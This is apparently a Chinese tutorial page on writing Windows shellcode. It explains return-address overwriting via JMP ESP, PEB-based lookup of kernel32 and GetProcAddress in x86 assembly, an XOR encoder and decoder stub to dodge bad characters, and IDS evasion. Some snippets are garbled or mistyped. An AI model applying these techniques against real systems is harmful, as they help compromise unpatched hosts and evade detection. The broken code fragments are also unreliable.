返回

shellcode

发布时间:2022-12-09 00:14:43 349
# 服务器# windows# 数据# 服务器# 技术

Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受服务的。 Shellcode是溢出程序和蠕虫病毒的核心,提到它自然就会和联想在一起,毕竟Shellcode只对没有打补丁的主机有用武之地。网络上数以万计带着顽强运行着的服务器给hacker和Vxer丰盛的晚餐。利用中最关键的是Shellcode的编写。由于发现者在发现之初并不会给出完整Shellcode,因此掌握Shellcode编写技术就显得尤为重要。

目录

​​Shellcode编写考虑因素​​

​​常见问题处理方法​​

​​编程感想​

​​编辑本段​​Shellcode编写考虑因素

  Shellcode一般作为数据发送给服务端造成溢出,不同数据对数据要求不同,因此,Shellcode也不一定相同。但Shellcode在编写过程中,有些问题是一致的:

  ⒈Shellcode的编写语言。

  用什么语言编写最适合Shellcode呢?这个问题没有定论。一般采用的是C语言,速度较快,但是ASM更便于控制Shellcode的生成。到底是快速编写还是完全控制呢?很难回答呢。

  ⒉Shellcode本身代码的重定位。Shellcode的流程控制,即如何通过溢出使控制权落在Shellcode手中

  ⒊Shellcode中使用的API地址定位。

  ⒋Shellcode编码问题。

  ⒌多态技术躲避IDS检测。

​​编辑本段​​常见问题处理方法

  Shellcode编写技术

  ⒈Shellcode编写语言

  Shellcode本质上可以使用任何编程语言,但我们需要的是提取其中的机器码。Shellcode使用汇编语言编写是最具可控性的,因为我们完全可以通过指令控制代码生成,缺点就是需要大量的时间,而且还要你深入了解汇编。如果你想追求速度,C是不错的选择。C语言编写起来较为省力,但Shellcode提取较为复杂,不过,一旦写好模板,就省事许多。例如,这里有一个写好的模板:

 

void Shellcode() 


  {


  __asm


  {


  nop


  nop


  nop


  nop


  nop


  nop


  nop


  nop


  }

 然后在main()中用函数指针操作和memcmp定位shellcode,用printf之类函数将shellcode打出来或保存即可。示例代码略。纵观当前shellcode,大部分是由C完成的,因此,想来大家已经取舍完了吧?

  ⒉Shellcode代码地址定位,获取程序EIP。

  为什么要获取EIP呢?原因是,我们需要我们的Shellcode能够执行,对病毒技术有了解的话,应该知道他们是怎么定位的:利用CALL/POP来实现。

  这里就不得不提到两种方法:JMP ESP和CALL/POP EBX。这是人们在对windows系统熟悉之后的方法,成功率非常高。相信看过王炜兄的教程的朋友应该有印象吧。这里我就简单说一下。

  我们的方法时通过Shellcode地址覆盖返回地址,在溢出后即可跳转到我们的代码中,以获取权限。而Shellcode在内存中的地址并不固定,因此我们利用系统的DLL文件中的JMP ESP或CALL ESP、CALL EBP来实现对Shellcode地址的间接跳转。这样有两个好处,一是不必准确定位Shellcode地址;二是可以防止strcpy对00字节的截断,因为DLL文件中,地址一般为7FXXXXXX。具体细节,网上已有相关的东东,大家自己找来看看吧。

  ⒊Shellcode中的API地址定位。

  Shellcode代码的运行环境和病毒在某些方面是类似的,由于系统不同,Api的地址也不尽相同。因此,要想让Shellcode在不同Windows下运行就必须解决Api的定位问题。API定位的关键是了解Windows DLL映像文件格式,即PE文件格式,然后通过搜索函数的Export表获取API地址。定位方法有暴力搜索法、从进程PEB中获取和遍历SEH链法。我们这里使用从进程PEB中获取,示例代码如下:

  

 

__asm 


  {


  push ebp;


  sub esp, 0x40;


  mov ebp,esp;


  push ebp;


  mov eax, fs:0x30 ;PEB


  mov eax, [eax + 0x0c] ;Ldr


  mov esi, [eax + 0x1c] ;Flink


  lodsd


  mov edi, [eax + 0x08] ;edi就是kernel32.dll的地址


  mov eax, [edi+3Ch] ;eax = PE首部


  mov edx,[edi+eax+78h]


  add edx,edi ;edx = 输出表地址


  mov ecx,[edx+18h] ;ecx = 输出函数的个数


  mov ebx,[edx+20h]


  add ebx,edi ;ebx =函数名地址,AddressOfName


  search:


  dec ecx


  mov esi,[ebx+ecx*4]


  add esi,edi ;依次找每个函数名称


  ;GetProcAddress


  mov eax,0x50746547


  cmp [esi], eax; 'PteG'


  jne search


  mov eax,0x41636f72


  cmp [esi+4],eax; 'Acor'


  jne search


  ;如果是GetProcA,表示找到了


  mov ebx,[edx+24h]


  add ebx,edi ;ebx = 索引号地址,AddressOf


  mov cx,[ebx+ecx*2] ;ecx = 计算出的索引号值


  mov ebx,[edx+1Ch]


  add ebx,edi ;ebx = 函数地址的起始位置,AddressOfFunction


  mov eax,[ebx+ecx*4]


  add eax,edi ;利用索引值,计算出GetProcAddress的地址

 接下来是使用GetProcAddress()和LoadLibraryA()获取其他需要函数了,和C没什么两样,略过了吧,很累呢。

  ⒋Shellcode的编码问题。

  写过Shellcode的兄弟对这个应该恨熟吧?例如:strcpy函数中不能有0x00,RPC DOCM溢出时不能用0x5c等等。

  因为假如有这些字符,会导致服务中断Shellcode,溢出失败。不同溢出对shellcode要求不同,当然需要精选字符来达到目的,这样太累了些,简单点就是写一段代码,示例如下:

  

 

for(i=0;i ch=sc_buff^Enc_key; 


  //对可能字符进行替换


  if(ch<=0x1f||ch==' '||ch=='.'||ch=='/'||ch=='\\'||ch=='0'||ch=='?'||ch=='%'||ch=='+')


  {


  buff='0';


  ++k;


  ch+=0x31;


  }


  //将编码Code放在DecryptSc后


  buff[k]=ch;


  ++k;


  }


  解码时代码 解码时代码,示例如下:


  jmp next


  getEncodeAddr:


  pop edi


  push edi


  pop esi


  xor ecx,ecx


  Decrypt_lop:


  loasb


  cmp al,cl


  jz shell


  cmp al,0x30 //判断是否为特殊字符


  jz specal_char_clean


  store:


  xor al,Enc_key


  stosb


  jmp Decrypt_lop


  special_char_clean:


  lodsb


  sub al,0x31


  jmp store


  next:

 

 

​​编辑本段​​编程感想

特别声明:以上内容(图片及文字)均为互联网收集或者用户上传发布,本站仅提供信息存储服务!如有侵权或有涉及法律问题请联系我们。
举报
评论区(0)
按点赞数排序
用户头像
精选文章
thumb 中国研究员首次曝光美国国安局顶级后门—“方程式组织”
thumb 俄乌线上战争,网络攻击弥漫着数字硝烟
thumb 从网络安全角度了解俄罗斯入侵乌克兰的相关事件时间线